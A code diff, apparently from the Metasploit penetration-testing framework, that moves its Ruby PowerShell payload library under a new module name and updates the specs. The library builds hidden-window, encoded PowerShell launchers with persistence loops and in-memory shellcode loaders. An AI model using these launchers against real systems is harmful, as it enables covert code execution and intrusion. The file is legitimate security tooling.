||||
arg_string << '-NoLogo ' if value
|
||||
when :noninteractive
|
||||
arg_string << '-NonInteractive ' if value
|
||||
when :mta
|
||||
arg_string << '-Mta ' if value
|
||||
when :outputformat
|
||||
arg_string << "-OutputFormat #{value} " if value
|
||||
when :sta
|
||||
arg_string << '-Sta ' if value
|
||||
when :noprofile
|
||||
arg_string << '-NoProfile ' if value
|
||||
when :windowstyle
|
||||
arg_string << "-WindowStyle #{value} " if value
|
||||
end
|
||||
end
|
||||
|
||||
# Command must be last (unless from stdin - etc)
|
||||
if opts[:command]
|
||||
arg_string << "-Command #{opts[:command]}"
|
||||
end
|
||||
|
||||
# Shorten arg if PSH 2.0+
|
||||
if opts[:shorten]
|
||||
# Invoke-Command and Out-File require these options to have
|
||||
# an additional space before to prevent Powershell code being
|
||||
# mangled.
|
||||
arg_string.gsub!(' -Command ', ' -c ')
|
||||
arg_string.gsub!('-EncodedCommand ', '-e ')
|
||||
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
|
||||
arg_string.gsub!(' -File ', ' -f ')
|
||||
arg_string.gsub!('-InputFormat ', '-i ')
|
||||
arg_string.gsub!('-NoExit ', '-noe ')
|
||||
arg_string.gsub!('-NoLogo ', '-nol ')
|
||||
arg_string.gsub!('-NoProfile ', '-nop ')
|
||||
arg_string.gsub!('-NonInteractive ', '-noni ')
|
||||
arg_string.gsub!('-OutputFormat ', '-o ')
|
||||
arg_string.gsub!('-Sta ', '-s ')
|
||||
arg_string.gsub!('-WindowStyle ', '-w ')
|
||||
end
|
||||
|
||||
# Strip off first space character
|
||||
arg_string = arg_string[1..-1]
|
||||
# Remove final space character
|
||||
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
|
||||
|
||||
arg_string
|
||||
end
|
||||
|
||||
#
|
||||
# Wraps the powershell code to launch a hidden window and
|
||||
# detect the execution environment and spawn the appropriate
|
||||
# powershell executable for the payload architecture.
|
||||
#
|
||||
# @param ps_code [String] Powershell code
|
||||
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
||||
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
|
||||
# @param opts [Hash] The options for generate_psh_args
|
||||
#
|
||||
# @return [String] Wrapped powershell code
|
||||
def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
|
||||
opts[:noprofile] ||= 'true'
|
||||
opts[:windowstyle] ||= 'hidden'
|
||||
|
||||
# Old method needs host process to stay open
|
||||
opts[:noexit] = true if (opts[:method] == 'old')
|
||||
|
||||
if encoded
|
||||
opts[:encodedcommand] = ps_code
|
||||
else
|
||||
opts[:command] = ps_code.gsub("'", "''")
|
||||
end
|
||||
|
||||
ps_args = generate_psh_args(opts)
|
||||
|
||||
process_start_info = <<EOS
|
||||
$s=New-Object System.Diagnostics.ProcessStartInfo
|
||||
$s.FileName=$b
|
||||
$s.Arguments='#{ps_args}'
|
||||
$s.UseShellExecute=$false
|
||||
$s.RedirectStandardOutput=$true
|
||||
$s.WindowStyle='Hidden'
|
||||
$s.CreateNoWindow=$true
|
||||
$p=[System.Diagnostics.Process]::Start($s)
|
||||
EOS
|
||||
process_start_info.gsub!("\n", ';')
|
||||
|
||||
archictecure_detection = <<EOS
|
||||
if([IntPtr]::Size -eq 4){
|
||||
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
|
||||
}else{
|
||||
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
|
||||
};
|
||||
EOS
|
||||
|
||||
archictecure_detection.gsub!("\n", '')
|
||||
|
||||
archictecure_detection + process_start_info
|
||||
end
|
||||
|
||||
#
|
||||
# Creates a powershell command line string which will execute the
|
||||
# payload in a hidden window in the appropriate execution environment
|
||||
# for the payload architecture. Opts are passed through to
|
||||
# run_hidden_psh, generate_psh_command_line and generate_psh_args
|
||||
#
|
||||
# @param pay [String] The payload shellcode
|
||||
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
||||
# @param opts [Hash] The options to generate the command
|
||||
# @option opts [Boolean] :persist Loop the payload to cause
|
||||
# re-execution if the shellcode finishes
|
||||
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
||||
# before executing the payload
|
||||
# @option opts [String] :method The powershell injection technique to
|
||||
# use: 'net'/'reflection'/'old'
|
||||
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
|
||||
# script within the hidden/architecture detection wrapper
|
||||
# @option opts [Boolean] :encode_final_payload Encodes the final
|
||||
# powershell script
|
||||
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
|
||||
# environment variable at the start of the command line
|
||||
# @option opts [Boolean] :use_single_quotes Wraps the -Command
|
||||
# argument in single quotes unless :encode_final_payload
|
||||
#
|
||||
# @return [String] Powershell command line with payload
|
||||
def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
|
||||
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
||||
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
|
||||
end
|
||||
|
||||
if opts[:no_equals] && !opts[:encode_final_payload]
|
||||
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
|
||||
end
|
||||
|
||||
psh_payload = case opts[:method]
|
||||
when 'net'
|
||||
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, pay)
|
||||
when 'reflection'
|
||||
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, pay)
|
||||
when 'old'
|
||||
Rex::Powershell::Payload.to_win32pe_psh(template_path, pay)
|
||||
when 'msil'
|
||||
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
||||
else
|
||||
fail RuntimeError, 'No Powershell method specified'
|
||||
end
|
||||
|
||||
# Run our payload in a while loop
|
||||
if opts[:persist]
|
||||
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
||||
sleep_time = rand(5) + 5
|
||||
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
||||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
||||
end
|
||||
|
||||
if opts[:prepend_sleep]
|
||||
if opts[:prepend_sleep].to_i > 0
|
||||
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
|
||||
end
|
||||
end
|
||||
|
||||
compressed_payload = compress_script(psh_payload, nil, opts)
|
||||
encoded_payload = encode_script(psh_payload, opts)
|
||||
|
||||
# This branch is probably never taken...
|
||||
if encoded_payload.length <= compressed_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
encoded = true
|
||||
else
|
||||
if opts[:encode_inner_payload]
|
||||
encoded = true
|
||||
compressed_encoded_payload = encode_script(compressed_payload)
|
||||
|
||||
if encoded_payload.length <= compressed_encoded_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
else
|
||||
smallest_payload = compressed_encoded_payload
|
||||
end
|
||||
else
|
||||
smallest_payload = compressed_payload
|
||||
encoded = false
|
||||
end
|
||||
end
|
||||
|
||||
# Wrap in hidden runtime / architecture detection
|
||||
inner_args = opts.clone
|
||||
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded, inner_args)
|
||||
|
||||
command_args = {
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden'
|
||||
}.merge(opts)
|
||||
|
||||
if opts[:encode_final_payload]
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
|
||||
# If '=' is a bad character pad the payload until Base64 encoded
|
||||
# payload contains none.
|
||||
if opts[:no_equals]
|
||||
while command_args[:encodedcommand].include? '='
|
||||
final_payload << ' '
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
end
|
||||
end
|
||||
else
|
||||
if opts[:use_single_quotes]
|
||||
# Escape Single Quotes
|
||||
final_payload.gsub!("'", "''")
|
||||
# Wrap command in quotes
|
||||
final_payload = "'#{final_payload}'"
|
||||
end
|
||||
|
||||
command_args[:command] = final_payload
|
||||
end
|
||||
|
||||
psh_command = generate_psh_command_line(command_args)
|
||||
|
||||
if opts[:remove_comspec]
|
||||
command = psh_command
|
||||
else
|
||||
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
|
||||
end
|
||||
|
||||
if command.length > 8191
|
||||
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
|
||||
end
|
||||
|
||||
command
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,7 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
class Function
|
||||
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
|
||||
|
@ -60,4 +59,3 @@ module Powershell
|
|||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -3,7 +3,6 @@
|
|||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Obfu
|
||||
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
|
||||
|
@ -95,4 +94,3 @@ module Powershell
|
|||
end # Obfu
|
||||
end
|
||||
end
|
||||
end
|
|
@ -4,7 +4,6 @@ require 'zlib'
|
|||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Output
|
||||
#
|
||||
|
@ -148,4 +147,3 @@ module Powershell
|
|||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,7 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
class Param
|
||||
attr_accessor :klass, :name
|
||||
|
@ -20,4 +19,3 @@ module Powershell
|
|||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,182 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
module Parser
|
||||
# Reserved special variables
|
||||
# Acquired with: Get-Variable | Format-Table name, value -auto
|
||||
RESERVED_VARIABLE_NAMES = [
|
||||
'$$',
|
||||
'$?',
|
||||
'$^',
|
||||
'$_',
|
||||
'$args',
|
||||
'$ConfirmPreference',
|
||||
'$ConsoleFileName',
|
||||
'$DebugPreference',
|
||||
'$Env',
|
||||
'$Error',
|
||||
'$ErrorActionPreference',
|
||||
'$ErrorView',
|
||||
'$ExecutionContext',
|
||||
'$false',
|
||||
'$FormatEnumerationLimit',
|
||||
'$HOME',
|
||||
'$Host',
|
||||
'$input',
|
||||
'$LASTEXITCODE',
|
||||
'$MaximumAliasCount',
|
||||
'$MaximumDriveCount',
|
||||
'$MaximumErrorCount',
|
||||
'$MaximumFunctionCount',
|
||||
'$MaximumHistoryCount',
|
||||
'$MaximumVariableCount',
|
||||
'$MyInvocation',
|
||||
'$NestedPromptLevel',
|
||||
'$null',
|
||||
'$OutputEncoding',
|
||||
'$PID',
|
||||
'$PROFILE',
|
||||
'$ProgressPreference',
|
||||
'$PSBoundParameters',
|
||||
'$PSCulture',
|
||||
'$PSEmailServer',
|
||||
'$PSHOME',
|
||||
'$PSSessionApplicationName',
|
||||
'$PSSessionConfigurationName',
|
||||
'$PSSessionOption',
|
||||
'$PSUICulture',
|
||||
'$PSVersionTable',
|
||||
'$PWD',
|
||||
'$ReportErrorShowExceptionClass',
|
||||
'$ReportErrorShowInnerException',
|
||||
'$ReportErrorShowSource',
|
||||
'$ReportErrorShowStackTrace',
|
||||
'$ShellId',
|
||||
'$StackTrace',
|
||||
'$true',
|
||||
'$VerbosePreference',
|
||||
'$WarningPreference',
|
||||
'$WhatIfPreference'
|
||||
].map(&:downcase).freeze
|
||||
|
||||
#
|
||||
# Get variable names from code, removes reserved names from return
|
||||
#
|
||||
# @return [Array] variable names
|
||||
def get_var_names
|
||||
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
|
||||
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
|
||||
end
|
||||
|
||||
#
|
||||
# Get function names from code
|
||||
#
|
||||
# @return [Array] function names
|
||||
def get_func_names
|
||||
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Attempt to find string literals in PSH expression
|
||||
#
|
||||
# @return [Array] string literals
|
||||
def get_string_literals
|
||||
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
|
||||
end
|
||||
|
||||
#
|
||||
# Scan code and return matches with index
|
||||
#
|
||||
# @param str [String] string to match in code
|
||||
# @param source [String] source code to match, defaults to @code
|
||||
#
|
||||
# @return [Array[String,Integer]] matched items with index
|
||||
def scan_with_index(str, source = code)
|
||||
::Enumerator.new do |y|
|
||||
source.scan(str) do
|
||||
y << ::Regexp.last_match
|
||||
end
|
||||
end.map { |m| [m.to_s, m.offset(0)[0]] }
|
||||
end
|
||||
|
||||
#
|
||||
# Return matching bracket type
|
||||
#
|
||||
# @param char [String] opening bracket character
|
||||
#
|
||||
# @return [String] matching closing bracket
|
||||
def match_start(char)
|
||||
case char
|
||||
when '{'
|
||||
'}'
|
||||
when '('
|
||||
')'
|
||||
when '['
|
||||
']'
|
||||
when '<'
|
||||
'>'
|
||||
else
|
||||
fail ArgumentError, 'Unknown starting bracket'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Extract block of code inside brackets/parenthesis
|
||||
#
|
||||
# Attempts to match the bracket at idx, handling nesting manually
|
||||
# Once the balanced matching bracket is found, all script content
|
||||
# between idx and the index of the matching bracket is returned
|
||||
#
|
||||
# @param idx [Integer] index of opening bracket
|
||||
#
|
||||
# @return [String] content between matching brackets
|
||||
def block_extract(idx)
|
||||
fail ArgumentError unless idx
|
||||
|
||||
if idx < 0 || idx >= code.length
|
||||
fail ArgumentError, 'Invalid index'
|
||||
end
|
||||
|
||||
start = code[idx]
|
||||
stop = match_start(start)
|
||||
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
|
||||
delims.map { |x| x[1] = x[1] + idx + 1 }
|
||||
c = 1
|
||||
sidx = nil
|
||||
# Go through delims till we balance, get idx
|
||||
while (c != 0) && (x = delims.shift)
|
||||
sidx = x[1]
|
||||
x[0] == stop ? c -= 1 : c += 1
|
||||
end
|
||||
|
||||
code[idx..sidx]
|
||||
end
|
||||
|
||||
#
|
||||
# Extract a block of function code
|
||||
#
|
||||
# @param func_name [String] function name
|
||||
# @param delete [Boolean] delete the function from the code
|
||||
#
|
||||
# @return [String] function block
|
||||
def get_func(func_name, delete = false)
|
||||
start = code.index(func_name)
|
||||
|
||||
return nil unless start
|
||||
|
||||
idx = code[start..-1].index('{') + start
|
||||
func_txt = block_extract(idx)
|
||||
|
||||
if delete
|
||||
delete_code = code[0..idx]
|
||||
delete_code << code[(idx + func_txt.length)..-1]
|
||||
@code = delete_code
|
||||
end
|
||||
|
||||
Function.new(func_name, func_txt)
|
||||
end
|
||||
end # Parser
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,78 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/random_identifier_generator'
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
module Payload
|
||||
|
||||
def self.read_replace_script_template(template_path, filename, hash_sub)
|
||||
template_pathname = File.join(template_path, filename)
|
||||
template = ''
|
||||
File.open(template_pathname, "rb") {|f| template = f.read}
|
||||
template % hash_sub
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh_net(template_path, code)
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:var_code)
|
||||
rig.init_var(:var_kernel32)
|
||||
rig.init_var(:var_baseaddr)
|
||||
rig.init_var(:var_threadHandle)
|
||||
rig.init_var(:var_output)
|
||||
rig.init_var(:var_codeProvider)
|
||||
rig.init_var(:var_compileParams)
|
||||
rig.init_var(:var_syscode)
|
||||
rig.init_var(:var_temp)
|
||||
|
||||
hash_sub = rig.to_h
|
||||
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
||||
|
||||
read_replace_script_template(template_path, "to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh(template_path, code)
|
||||
hash_sub = {}
|
||||
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
|
||||
|
||||
read_replace_script_template(template_path, "to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
end
|
||||
|
||||
#
|
||||
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
|
||||
# Tweaked by shellster
|
||||
# Originally from PowerSploit
|
||||
#
|
||||
def self.to_win32pe_psh_reflection(template_path, code)
|
||||
# Intialize rig and value names
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:func_get_proc_address)
|
||||
rig.init_var(:func_get_delegate_type)
|
||||
rig.init_var(:var_code)
|
||||
rig.init_var(:var_module)
|
||||
rig.init_var(:var_procedure)
|
||||
rig.init_var(:var_unsafe_native_methods)
|
||||
rig.init_var(:var_parameters)
|
||||
rig.init_var(:var_return_type)
|
||||
rig.init_var(:var_type_builder)
|
||||
rig.init_var(:var_buffer)
|
||||
rig.init_var(:var_hthread)
|
||||
|
||||
hash_sub = rig.to_h
|
||||
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
||||
|
||||
read_replace_script_template(template_path,
|
||||
"to_mem_pshreflection.ps1.template",
|
||||
hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,7 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
##
|
||||
# Convenience methods for generating powershell code in Ruby
|
||||
|
@ -76,4 +75,3 @@ module Powershell
|
|||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -4,7 +4,6 @@ require 'rex'
|
|||
require 'forwardable'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
class Script
|
||||
attr_accessor :code
|
||||
|
@ -96,4 +95,3 @@ module Powershell
|
|||
end # class Script
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,5 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
|
||||
# A quick way to produce unique random strings that follow the rules of
|
||||
# identifiers, i.e., begin with a letter and contain only alphanumeric
|
||||
# characters and underscore.
|
||||
|
|
|
@ -3,7 +3,7 @@ require 'digest/md5'
|
|||
require 'digest/sha1'
|
||||
require 'stringio'
|
||||
require 'cgi'
|
||||
require 'rex/exploitation/powershell'
|
||||
require 'rex/powershell'
|
||||
|
||||
%W{ iconv zlib }.each do |libname|
|
||||
begin
|
||||
|
@ -308,7 +308,7 @@ module Text
|
|||
# Converts a raw string to a powershell byte array
|
||||
#
|
||||
def self.to_powershell(str, name = "buf")
|
||||
return Rex::Exploitation::Powershell::Script.to_byte_array(str, name)
|
||||
return Rex::Powershell::Script.to_byte_array(str, name)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -5,7 +5,7 @@ require 'msf/core'
|
|||
require 'msf/core/exploit/powershell'
|
||||
|
||||
def decompress(code)
|
||||
Rex::Exploitation::Powershell::Script.new(code).decompress_code
|
||||
Rex::Powershell::Script.new(code).decompress_code
|
||||
end
|
||||
|
||||
describe Msf::Exploit::Powershell do
|
||||
|
@ -152,8 +152,6 @@ describe Msf::Exploit::Powershell do
|
|||
end
|
||||
|
||||
describe "::run_hidden_psh" do
|
||||
|
||||
|
||||
let(:encoded) do
|
||||
false
|
||||
end
|
||||
|
|
|
@ -0,0 +1,407 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
require 'msf/core'
|
||||
|
||||
def decompress(code)
|
||||
Rex::Powershell::Script.new(code).decompress_code
|
||||
end
|
||||
|
||||
describe Rex::Powershell::Command do
|
||||
let(:example_script) do
|
||||
File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1")
|
||||
end
|
||||
|
||||
let(:payload) do
|
||||
Rex::Text.rand_text_alpha(120)
|
||||
end
|
||||
|
||||
let(:arch) do
|
||||
'x86'
|
||||
end
|
||||
|
||||
describe "::encode_script" do
|
||||
it 'should read and encode a sample script file' do
|
||||
script = subject.encode_script(example_script)
|
||||
script.should be
|
||||
script.length.should be > 0
|
||||
end
|
||||
end
|
||||
|
||||
describe "::compress_script" do
|
||||
context 'with default options' do
|
||||
it 'should create a compressed script' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
compressed.length.should be < script.length
|
||||
compressed.include?('IO.Compression').should be_truthy
|
||||
end
|
||||
|
||||
it 'should create a compressed script with eof' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, 'end_of_file')
|
||||
compressed.include?('end_of_file').should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when strip_comments is true' do
|
||||
it 'should strip comments' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, strip_comments: true)
|
||||
compressed.length.should be < script.length
|
||||
end
|
||||
end
|
||||
context 'when strip_comment is false' do
|
||||
it 'shouldnt strip comments' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, strip_comments: false)
|
||||
compressed.length.should be < script.length
|
||||
end
|
||||
end
|
||||
|
||||
context 'when strip_whitespace is true' do
|
||||
it 'should strip whitespace' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, strip_comments: false, strip_whitespace: true)
|
||||
decompress(compressed).length.should be < script.length
|
||||
end
|
||||
end
|
||||
|
||||
context 'when strip_whitespace is false' do
|
||||
it 'shouldnt strip whitespace' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, strip_comments: false, strip_whitespace: false)
|
||||
expect(decompress(compressed).length).to eq(script.length)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when sub_vars is true' do
|
||||
it 'should substitute variables' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, sub_vars: true)
|
||||
decompress(compressed).include?('$hashes').should be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
context 'when sub_vars is false' do
|
||||
it 'shouldnt substitute variables' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, sub_vars: false)
|
||||
decompress(compressed).include?('$hashes').should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when sub_funcs is true' do
|
||||
it 'should substitute functions' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, sub_funcs: true)
|
||||
decompress(compressed).include?('DumpHashes').should be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
context 'when sub_funcs is false' do
|
||||
it 'shouldnt substitute variables' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, sub_funcs: false)
|
||||
decompress(compressed).include?('DumpHashes').should be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "::run_hidden_psh" do
|
||||
let(:encoded) do
|
||||
false
|
||||
end
|
||||
|
||||
context 'when x86 payload' do
|
||||
it 'should generate code' do
|
||||
code = subject.run_hidden_psh(payload, arch, encoded)
|
||||
code.include?('syswow64').should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when x64 payload' do
|
||||
it 'should generate code' do
|
||||
code = subject.run_hidden_psh(payload, 'x86_64', encoded)
|
||||
code.include?('sysnative').should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when encoded' do
|
||||
it 'should generate a code including an encoded command' do
|
||||
code = subject.run_hidden_psh(payload, arch, true)
|
||||
code.include?('-nop -w hidden -e ').should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when command' do
|
||||
it 'should generate code including a -c command' do
|
||||
code = subject.run_hidden_psh(payload, arch, encoded)
|
||||
code.include?('-nop -w hidden -c ').should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when old' do
|
||||
it 'should generate a code including unshorted args' do
|
||||
code = subject.run_hidden_psh(payload, arch, encoded, method: 'old')
|
||||
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "::cmd_psh_payload" do
|
||||
let(:template_path) do
|
||||
File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
end
|
||||
|
||||
let(:psh_method) do
|
||||
'reflection'
|
||||
end
|
||||
|
||||
context 'when payload is huge' do
|
||||
it 'should raise an exception' do
|
||||
except = false
|
||||
begin
|
||||
code = subject.cmd_psh_payload(Rex::Text.rand_text_alpha(12000), arch, template_path, method: psh_method)
|
||||
rescue RuntimeError => e
|
||||
except = true
|
||||
end
|
||||
|
||||
except.should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when persist is true' do
|
||||
it 'should add a persistance loop' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, persist: true, method: psh_method)
|
||||
decompress(code).include?('while(1){Start-Sleep -s ').should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when persist is false' do
|
||||
it 'shouldnt add a persistance loop' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, persist: false, method: psh_method)
|
||||
decompress(code).include?('while(1){Start-Sleep -s ').should be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
context 'when prepend_sleep is set' do
|
||||
it 'should prepend sleep' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, prepend_sleep: 5, method: psh_method)
|
||||
decompress(code).include?('Start-Sleep -s ').should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when prepend_sleep isnt set' do
|
||||
it 'shouldnt prepend sleep' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, method: psh_method)
|
||||
decompress(code).include?('Start-Sleep -s ').should be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
context 'when prepend_sleep is 0' do
|
||||
it 'shouldnt prepend sleep' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, prepend_sleep: 0, method: psh_method)
|
||||
decompress(code).include?('Start-Sleep -s ').should be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
context 'when method is old' do
|
||||
it 'should generate a command line' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old')
|
||||
decompress(code).include?('-namespace Win32Functions').should be_truthy
|
||||
end
|
||||
it 'shouldnt shorten args' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old')
|
||||
code.include?('-NoProfile -WindowStyle hidden -Command').should be_truthy
|
||||
end
|
||||
it 'should include -NoExit' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old')
|
||||
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when method is net' do
|
||||
it 'should generate a command line' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'net')
|
||||
decompress(code).include?('System.Runtime.InteropServices;').should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when method is reflection' do
|
||||
it 'should generate a command line' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'reflection')
|
||||
decompress(code).include?('GlobalAssemblyCache').should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when method is msil' do
|
||||
it 'should raise an exception' do
|
||||
except = false
|
||||
begin
|
||||
subject.cmd_psh_payload(payload, arch, template_path, method: 'msil')
|
||||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
except.should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when method is unknown' do
|
||||
it 'should raise an exception' do
|
||||
except = false
|
||||
begin
|
||||
subject.cmd_psh_payload(payload, arch, template_path, method: 'blah')
|
||||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
except.should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when encode_inner_payload' do
|
||||
it 'should contain an inner payload with -e' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, encode_inner_payload: true, method: psh_method)
|
||||
code.include?(' -e ').should be_truthy
|
||||
end
|
||||
|
||||
context 'when no_equals is true' do
|
||||
it 'should raise an exception' do
|
||||
except = false
|
||||
begin
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, encode_inner_payload: true, no_equals: true, method: psh_method)
|
||||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
except.should be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'when encode_final_payload' do
|
||||
context 'when no_equals is false' do
|
||||
it 'should contain a final payload with -e' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, no_equals: false, method: psh_method)
|
||||
code.include?(' -e ').should be_truthy
|
||||
